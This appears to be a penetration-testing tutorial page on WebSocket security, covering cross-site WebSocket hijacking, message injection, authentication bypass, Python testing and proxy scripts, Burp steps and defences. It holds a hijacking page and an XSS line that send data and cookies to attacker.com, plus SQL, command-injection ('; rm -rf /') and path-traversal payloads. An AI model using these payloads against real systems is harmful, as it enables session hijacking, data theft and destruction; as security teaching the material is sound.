Exploitation A07

WebSocket Security Testing

WebSockets enable bidirectional communication between browsers and servers, but their security model differs from traditional HTTP. This guide covers WebSocket-specific vulnerabilities including CSWSH, message injection, and authentication bypass.

Warning

WebSocket attacks can affect real-time functionality and other users' sessions. Test carefully and ensure you have authorization for WebSocket endpoints.

šŸ“š Quick Navigation

šŸŽÆ Fundamentals

⚔ Attack Techniques

šŸ› ļø Tools

🧪 Practice

Understanding WebSockets

WebSockets provide persistent, bidirectional communication channels. Unlike HTTP's request-response model, WebSockets allow both client and server to send data at any time.

WebSocket Features

  • • Full-duplex communication
  • • Lower latency than HTTP polling
  • • Persistent connection
  • • Binary and text frame support
  • • Works over HTTP ports (80, 443)

Common Use Cases

  • • Chat applications
  • • Live notifications
  • • Real-time gaming
  • • Collaborative editing
  • • Stock/crypto tickers

The Handshake Process

websocket-handshake.http
http
# WebSocket Handshake

# Client Request (HTTP Upgrade)
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://vulnerable.com
Cookie: session=abc123

# Server Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

# After 101, connection becomes full-duplex WebSocket
# No more HTTP - raw binary/text frames
# WebSocket Handshake

# Client Request (HTTP Upgrade)
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://vulnerable.com
Cookie: session=abc123

# Server Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

# After 101, connection becomes full-duplex WebSocket
# No more HTTP - raw binary/text frames

Key Handshake Headers

  • Origin: Indicates the origin of the page initiating the connection. Servers should validate this.
  • Cookie: Automatically sent by browser. Authenticates the WebSocket connection.
  • Sec-WebSocket-Key: Random base64 value used to prove handshake was received.
  • Sec-WebSocket-Accept: Server's proof of receiving the key (hash of key + magic string).

WebSocket Security Model

WebSockets have a different security model than HTTP:

  • āš ļø No Same-Origin Policy: Unlike XHR/Fetch, WebSocket connections can be initiated cross-origin. The Origin header is sent but not enforced.
  • āš ļø Cookies Auto-Sent: Session cookies are automatically included in the handshake, enabling session riding.
  • āš ļø No CSRF Tokens: WebSocket handshakes don't include CSRF tokens by default.
  • āœ“ Origin Validation: Servers must manually validate the Origin header to prevent cross-site attacks.

Cross-Site WebSocket Hijacking (CSWSH)

CSWSH is similar to CSRF but for WebSockets. If a server doesn't validate the Origin header, an attacker's page can connect to the WebSocket endpoint using the victim's cookies.

cswsh-attack.html
html
# Cross-Site WebSocket Hijacking (CSWSH)
# Exploit: Abuse missing Origin validation

# Attack page hosted on attacker.com
<html>
<script>
// Create WebSocket connection to vulnerable site
// Browser sends victim's cookies automatically
var ws = new WebSocket("wss://vulnerable.com/chat");

ws.onopen = function() {
    console.log("[+] Connection opened");
    // Send malicious message as victim
    ws.send(JSON.stringify({
        action: "get_messages",
        room: "private"
    }));
};

ws.onmessage = function(event) {
    console.log("[+] Received: " + event.data);
    // Exfiltrate data to attacker server
    fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};

ws.onerror = function(error) {
    console.log("[-] Error: " + error);
};
</script>
</html>

# If server doesn't validate Origin header:
# - Attacker page connects to victim's account
# - Can read/send messages as victim
# - Cookies are sent automatically (same-origin policy doesn't apply to WS)
# Cross-Site WebSocket Hijacking (CSWSH)
# Exploit: Abuse missing Origin validation

# Attack page hosted on attacker.com
<html>
<script>
// Create WebSocket connection to vulnerable site
// Browser sends victim's cookies automatically
var ws = new WebSocket("wss://vulnerable.com/chat");

ws.onopen = function() {
    console.log("[+] Connection opened");
    // Send malicious message as victim
    ws.send(JSON.stringify({
        action: "get_messages",
        room: "private"
    }));
};

ws.onmessage = function(event) {
    console.log("[+] Received: " + event.data);
    // Exfiltrate data to attacker server
    fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};

ws.onerror = function(error) {
    console.log("[-] Error: " + error);
};
</script>
</html>

# If server doesn't validate Origin header:
# - Attacker page connects to victim's account
# - Can read/send messages as victim
# - Cookies are sent automatically (same-origin policy doesn't apply to WS)

Information

CSWSH is possible because browsers don't enforce same-origin policy on WebSocket connections. The only protection is server-side Origin header validation.

Message Injection Attacks

Once connected, WebSocket messages can be manipulated to inject payloads. All standard web vulnerabilities apply to WebSocket message content.

ws-injection-payloads.txt
json
# WebSocket Message Injection Payloads

# 1. JSON Injection - Escape and inject new properties
{"user":"attacker","msg":"hello","admin":true}
{"user":"attacker\",\"role\":\"admin\",\"x":""}

# 2. SQL Injection via WebSocket
{"action":"search","query":"' OR 1=1--"}
{"action":"getUser","id":"1 UNION SELECT password FROM users--"}

# 3. XSS via WebSocket (if messages rendered in DOM)
{"user":"<img src=x onerror=alert(1)>","msg":"test"}
{"msg":"<script>document.location='http://attacker.com/?c='+document.cookie</script>"}

# 4. Command Injection
{"action":"ping","target":"127.0.0.1; cat /etc/passwd"}
{"filename":"file.txt; rm -rf /"}

# 5. Path Traversal
{"action":"readFile","path":"../../../etc/passwd"}
{"download":"....//....//....//etc/passwd"}

# 6. Privilege Escalation
{"action":"updateRole","userId":"123","role":"admin"}
{"action":"deleteUser","userId":"*"}

# 7. DoS via Large Messages
{"data":"AAAA...repeated 10MB...AAAA"}

# 8. Binary Frame Attacks
# Send unexpected binary frames when server expects text
# WebSocket Message Injection Payloads

# 1. JSON Injection - Escape and inject new properties
{"user":"attacker","msg":"hello","admin":true}
{"user":"attacker\",\"role\":\"admin\",\"x":""}

# 2. SQL Injection via WebSocket
{"action":"search","query":"' OR 1=1--"}
{"action":"getUser","id":"1 UNION SELECT password FROM users--"}

# 3. XSS via WebSocket (if messages rendered in DOM)
{"user":"<img src=x onerror=alert(1)>","msg":"test"}
{"msg":"<script>document.location='http://attacker.com/?c='+document.cookie</script>"}

# 4. Command Injection
{"action":"ping","target":"127.0.0.1; cat /etc/passwd"}
{"filename":"file.txt; rm -rf /"}

# 5. Path Traversal
{"action":"readFile","path":"../../../etc/passwd"}
{"download":"....//....//....//etc/passwd"}

# 6. Privilege Escalation
{"action":"updateRole","userId":"123","role":"admin"}
{"action":"deleteUser","userId":"*"}

# 7. DoS via Large Messages
{"data":"AAAA...repeated 10MB...AAAA"}

# 8. Binary Frame Attacks
# Send unexpected binary frames when server expects text

Authentication Bypass

ws-auth-bypass.txt
json
# WebSocket Authentication Issues

# 1. No Auth After Handshake
# Many apps only check cookies during handshake
# Once connected, no further authentication

# Attack: Connect with valid session, then session expires
# WebSocket stays connected and functional!

# 2. Insufficient Authorization
# Auth checked on connect, but not on individual messages
{"action": "admin_panel", "data": "get_users"}
# May work even for non-admin users

# 3. Token-Based Auth Bypass
{"action": "connect", "token": "guest"}
# Later...
{"action": "admin_action", "token": "admin"}
# Server might not revalidate token per message

# 4. Race Condition in Auth
# Send rapid messages during session invalidation window
# Some may process with old privileges

# 5. ID Manipulation
{"action": "get_messages", "user_id": "123"}
# Change to another user's ID
{"action": "get_messages", "user_id": "456"}

# Testing Approach:
1. Connect with valid credentials
2. Invalidate session (logout elsewhere)
3. Try sending messages - still work?
4. Try escalating privileges in messages
5. Try accessing other users' data via ID manipulation
# WebSocket Authentication Issues

# 1. No Auth After Handshake
# Many apps only check cookies during handshake
# Once connected, no further authentication

# Attack: Connect with valid session, then session expires
# WebSocket stays connected and functional!

# 2. Insufficient Authorization
# Auth checked on connect, but not on individual messages
{"action": "admin_panel", "data": "get_users"}
# May work even for non-admin users

# 3. Token-Based Auth Bypass
{"action": "connect", "token": "guest"}
# Later...
{"action": "admin_action", "token": "admin"}
# Server might not revalidate token per message

# 4. Race Condition in Auth
# Send rapid messages during session invalidation window
# Some may process with old privileges

# 5. ID Manipulation
{"action": "get_messages", "user_id": "123"}
# Change to another user's ID
{"action": "get_messages", "user_id": "456"}

# Testing Approach:
1. Connect with valid credentials
2. Invalidate session (logout elsewhere)
3. Try sending messages - still work?
4. Try escalating privileges in messages
5. Try accessing other users' data via ID manipulation

Python WebSocket Testing Client

ws-tester.py
python
#!/usr/bin/env python3
"""
WebSocket Security Testing Client
Intercept, modify, and inject WebSocket messages
"""
import asyncio
import websockets
import json
import sys

TARGET = "wss://vulnerable.com/socket"
COOKIE = "session=victim_session_token"

async def basic_connect():
    """Basic WebSocket connection with cookie"""
    headers = {"Cookie": COOKIE}
    async with websockets.connect(TARGET, extra_headers=headers) as ws:
        print(f"[+] Connected to {TARGET}")
        
        # Send test message
        await ws.send(json.dumps({"action": "ping"}))
        
        # Receive response
        response = await ws.recv()
        print(f"[+] Received: {response}")

async def message_fuzzer(payloads):
    """Fuzz WebSocket endpoint with payloads"""
    headers = {"Cookie": COOKIE}
    async with websockets.connect(TARGET, extra_headers=headers) as ws:
        for payload in payloads:
            print(f"[*] Sending: {payload}")
            try:
                await ws.send(payload)
                response = await asyncio.wait_for(ws.recv(), timeout=2.0)
                print(f"    Response: {response[:100]}...")
            except asyncio.TimeoutError:
                print("    No response (timeout)")
            except Exception as e:
                print(f"    Error: {e}")

async def cswsh_test(origin):
    """Test for Cross-Site WebSocket Hijacking"""
    # Try connecting with different Origin header
    headers = {
        "Cookie": COOKIE,
        "Origin": origin
    }
    try:
        async with websockets.connect(TARGET, extra_headers=headers) as ws:
            print(f"[+] Connection ACCEPTED with Origin: {origin}")
            print("[!] VULNERABLE to CSWSH!")
            return True
    except Exception as e:
        print(f"[-] Connection rejected with Origin: {origin}")
        return False

async def message_replay():
    """Capture and replay WebSocket messages"""
    captured_messages = []
    headers = {"Cookie": COOKIE}
    
    async with websockets.connect(TARGET, extra_headers=headers) as ws:
        print("[*] Capturing messages for 10 seconds...")
        
        async def capture():
            while True:
                try:
                    msg = await asyncio.wait_for(ws.recv(), timeout=1.0)
                    captured_messages.append(msg)
                    print(f"[+] Captured: {msg[:50]}...")
                except asyncio.TimeoutError:
                    continue
                except:
                    break
        
        await asyncio.wait_for(capture(), timeout=10.0)
        
        # Replay captured messages
        print(f"\n[*] Replaying {len(captured_messages)} messages...")
        for msg in captured_messages:
            await ws.send(msg)
            print(f"[+] Replayed: {msg[:50]}...")

if __name__ == "__main__":
    # Test CSWSH with various origins
    origins = [
        "https://attacker.com",
        "https://evil.vulnerable.com",
        "null",
        ""
    ]
    
    for origin in origins:
        asyncio.run(cswsh_test(origin))
#!/usr/bin/env python3
"""
WebSocket Security Testing Client
Intercept, modify, and inject WebSocket messages
"""
import asyncio
import websockets
import json
import sys

TARGET = "wss://vulnerable.com/socket"
COOKIE = "session=victim_session_token"

async def basic_connect():
    """Basic WebSocket connection with cookie"""
    headers = {"Cookie": COOKIE}
    async with websockets.connect(TARGET, extra_headers=headers) as ws:
        print(f"[+] Connected to {TARGET}")
        
        # Send test message
        await ws.send(json.dumps({"action": "ping"}))
        
        # Receive response
        response = await ws.recv()
        print(f"[+] Received: {response}")

async def message_fuzzer(payloads):
    """Fuzz WebSocket endpoint with payloads"""
    headers = {"Cookie": COOKIE}
    async with websockets.connect(TARGET, extra_headers=headers) as ws:
        for payload in payloads:
            print(f"[*] Sending: {payload}")
            try:
                await ws.send(payload)
                response = await asyncio.wait_for(ws.recv(), timeout=2.0)
                print(f"    Response: {response[:100]}...")
            except asyncio.TimeoutError:
                print("    No response (timeout)")
            except Exception as e:
                print(f"    Error: {e}")

async def cswsh_test(origin):
    """Test for Cross-Site WebSocket Hijacking"""
    # Try connecting with different Origin header
    headers = {
        "Cookie": COOKIE,
        "Origin": origin
    }
    try:
        async with websockets.connect(TARGET, extra_headers=headers) as ws:
            print(f"[+] Connection ACCEPTED with Origin: {origin}")
            print("[!] VULNERABLE to CSWSH!")
            return True
    except Exception as e:
        print(f"[-] Connection rejected with Origin: {origin}")
        return False

async def message_replay():
    """Capture and replay WebSocket messages"""
    captured_messages = []
    headers = {"Cookie": COOKIE}
    
    async with websockets.connect(TARGET, extra_headers=headers) as ws:
        print("[*] Capturing messages for 10 seconds...")
        
        async def capture():
            while True:
                try:
                    msg = await asyncio.wait_for(ws.recv(), timeout=1.0)
                    captured_messages.append(msg)
                    print(f"[+] Captured: {msg[:50]}...")
                except asyncio.TimeoutError:
                    continue
                except:
                    break
        
        await asyncio.wait_for(capture(), timeout=10.0)
        
        # Replay captured messages
        print(f"\n[*] Replaying {len(captured_messages)} messages...")
        for msg in captured_messages:
            await ws.send(msg)
            print(f"[+] Replayed: {msg[:50]}...")

if __name__ == "__main__":
    # Test CSWSH with various origins
    origins = [
        "https://attacker.com",
        "https://evil.vulnerable.com",
        "null",
        ""
    ]
    
    for origin in origins:
        asyncio.run(cswsh_test(origin))

WebSocket MITM Proxy

ws-proxy.py
python
#!/usr/bin/env python3
"""
WebSocket MITM Proxy
Intercept and modify WebSocket traffic
"""
import asyncio
import websockets
from websockets import serve

UPSTREAM = "wss://target.com/socket"
LISTEN_PORT = 8765

async def proxy_handler(client_ws, path):
    """Handle client connection and proxy to upstream"""
    print(f"[+] Client connected, proxying to {UPSTREAM}")
    
    async with websockets.connect(UPSTREAM) as upstream_ws:
        async def client_to_server():
            async for message in client_ws:
                print(f"[C→S] {message}")
                # Modify message here if needed
                modified = modify_client_message(message)
                await upstream_ws.send(modified)
        
        async def server_to_client():
            async for message in upstream_ws:
                print(f"[S→C] {message}")
                # Modify response here if needed
                modified = modify_server_message(message)
                await client_ws.send(modified)
        
        await asyncio.gather(
            client_to_server(),
            server_to_client()
        )

def modify_client_message(msg):
    """Modify messages from client to server"""
    try:
        data = json.loads(msg)
        # Example: Escalate privileges
        data['role'] = 'admin'
        return json.dumps(data)
    except:
        return msg

def modify_server_message(msg):
    """Modify messages from server to client"""
    # Pass through unmodified
    return msg

async def main():
    print(f"[*] WebSocket proxy listening on ws://localhost:{LISTEN_PORT}")
    async with serve(proxy_handler, "localhost", LISTEN_PORT):
        await asyncio.Future()  # Run forever

if __name__ == "__main__":
    asyncio.run(main())
#!/usr/bin/env python3
"""
WebSocket MITM Proxy
Intercept and modify WebSocket traffic
"""
import asyncio
import websockets
from websockets import serve

UPSTREAM = "wss://target.com/socket"
LISTEN_PORT = 8765

async def proxy_handler(client_ws, path):
    """Handle client connection and proxy to upstream"""
    print(f"[+] Client connected, proxying to {UPSTREAM}")
    
    async with websockets.connect(UPSTREAM) as upstream_ws:
        async def client_to_server():
            async for message in client_ws:
                print(f"[C→S] {message}")
                # Modify message here if needed
                modified = modify_client_message(message)
                await upstream_ws.send(modified)
        
        async def server_to_client():
            async for message in upstream_ws:
                print(f"[S→C] {message}")
                # Modify response here if needed
                modified = modify_server_message(message)
                await client_ws.send(modified)
        
        await asyncio.gather(
            client_to_server(),
            server_to_client()
        )

def modify_client_message(msg):
    """Modify messages from client to server"""
    try:
        data = json.loads(msg)
        # Example: Escalate privileges
        data['role'] = 'admin'
        return json.dumps(data)
    except:
        return msg

def modify_server_message(msg):
    """Modify messages from server to client"""
    # Pass through unmodified
    return msg

async def main():
    print(f"[*] WebSocket proxy listening on ws://localhost:{LISTEN_PORT}")
    async with serve(proxy_handler, "localhost", LISTEN_PORT):
        await asyncio.Future()  # Run forever

if __name__ == "__main__":
    asyncio.run(main())

Testing with Burp Suite

burp-ws-testing.txt
text
# Testing WebSockets with Burp Suite

# 1. Capture WebSocket Traffic
- Proxy → WebSocket history shows all WS messages
- Click on any message to view details
- Right-click → Send to Repeater

# 2. Modify and Replay Messages
- WebSocket Repeater allows editing and resending
- Modify JSON payload and click "Send"
- Watch for error messages revealing info

# 3. Use Intruder for Fuzzing
- Right-click message → Send to Intruder
- Mark injection points in the message
- Add payload lists (SQLi, XSS, etc.)
- Start attack and analyze responses

# 4. Test for CSWSH Manually
- In Repeater, modify the Origin header in upgrade request
- Change to "https://attacker.com"
- If connection succeeds → CSWSH vulnerable

# 5. Automate with Extensions
- "WebSocket Turbo Intruder" for high-speed attacks
- "CSWSH Scanner" for automated testing

# Key things to test:
- Missing Origin validation
- No authentication after handshake
- Injection in message content
- Privilege escalation via message manipulation
- Information disclosure in error messages
# Testing WebSockets with Burp Suite

# 1. Capture WebSocket Traffic
- Proxy → WebSocket history shows all WS messages
- Click on any message to view details
- Right-click → Send to Repeater

# 2. Modify and Replay Messages
- WebSocket Repeater allows editing and resending
- Modify JSON payload and click "Send"
- Watch for error messages revealing info

# 3. Use Intruder for Fuzzing
- Right-click message → Send to Intruder
- Mark injection points in the message
- Add payload lists (SQLi, XSS, etc.)
- Start attack and analyze responses

# 4. Test for CSWSH Manually
- In Repeater, modify the Origin header in upgrade request
- Change to "https://attacker.com"
- If connection succeeds → CSWSH vulnerable

# 5. Automate with Extensions
- "WebSocket Turbo Intruder" for high-speed attacks
- "CSWSH Scanner" for automated testing

# Key things to test:
- Missing Origin validation
- No authentication after handshake
- Injection in message content
- Privilege escalation via message manipulation
- Information disclosure in error messages

Practice Labs

Testing Checklist

šŸ” CSWSH Testing

  • ☐ Check if Origin header is validated
  • ☐ Try connecting from different origins
  • ☐ Test with null Origin
  • ☐ Test with subdomain variations
  • ☐ Create PoC page for exploitation

⚔ Message Testing

  • ☐ Inject SQL payloads in messages
  • ☐ Test XSS if messages are rendered
  • ☐ Try command injection
  • ☐ Manipulate user IDs/roles
  • ☐ Send unexpected binary frames

šŸ” Auth Testing

  • ☐ Check auth persistence after session invalidation
  • ☐ Test horizontal privilege escalation
  • ☐ Test vertical privilege escalation
  • ☐ Try accessing admin functions
  • ☐ Check per-message authorization

šŸ“ Documentation

  • ☐ Record WebSocket endpoint URL
  • ☐ Document message format/protocol
  • ☐ Save successful exploit payloads
  • ☐ Note impact on other users

šŸ›”ļø Remediation & Defense

Defensive Measures

Authentication & Authorization

  • • Authenticate WebSocket connections during the handshake
  • • Validate the Origin header to prevent Cross-Site WebSocket Hijacking
  • • Use CSRF tokens in the WebSocket upgrade request
  • • Implement per-message authorization checks, not just at connection time

Input Validation & Rate Limiting

  • • Validate and sanitize all incoming WebSocket messages
  • • Enforce message size limits to prevent DoS
  • • Implement rate limiting on WebSocket messages
  • • Use structured message formats (JSON schema validation)

Encryption & Transport

  • • Always use wss:// (WebSocket over TLS), never ws://
  • • Set secure cookie flags for session cookies used in handshakes
  • • Implement connection timeouts and heartbeat mechanisms
  • • Log WebSocket connection and message events for audit

Monitoring

  • • Monitor for unusual message volumes or patterns
  • • Alert on connections from unexpected origins
  • • Log authentication failures during handshake
  • • Track concurrent connection counts per user/IP

CWE References: CWE-1385 (Missing Origin Validation in WebSockets), CWE-345 (Insufficient Verification of Data Authenticity)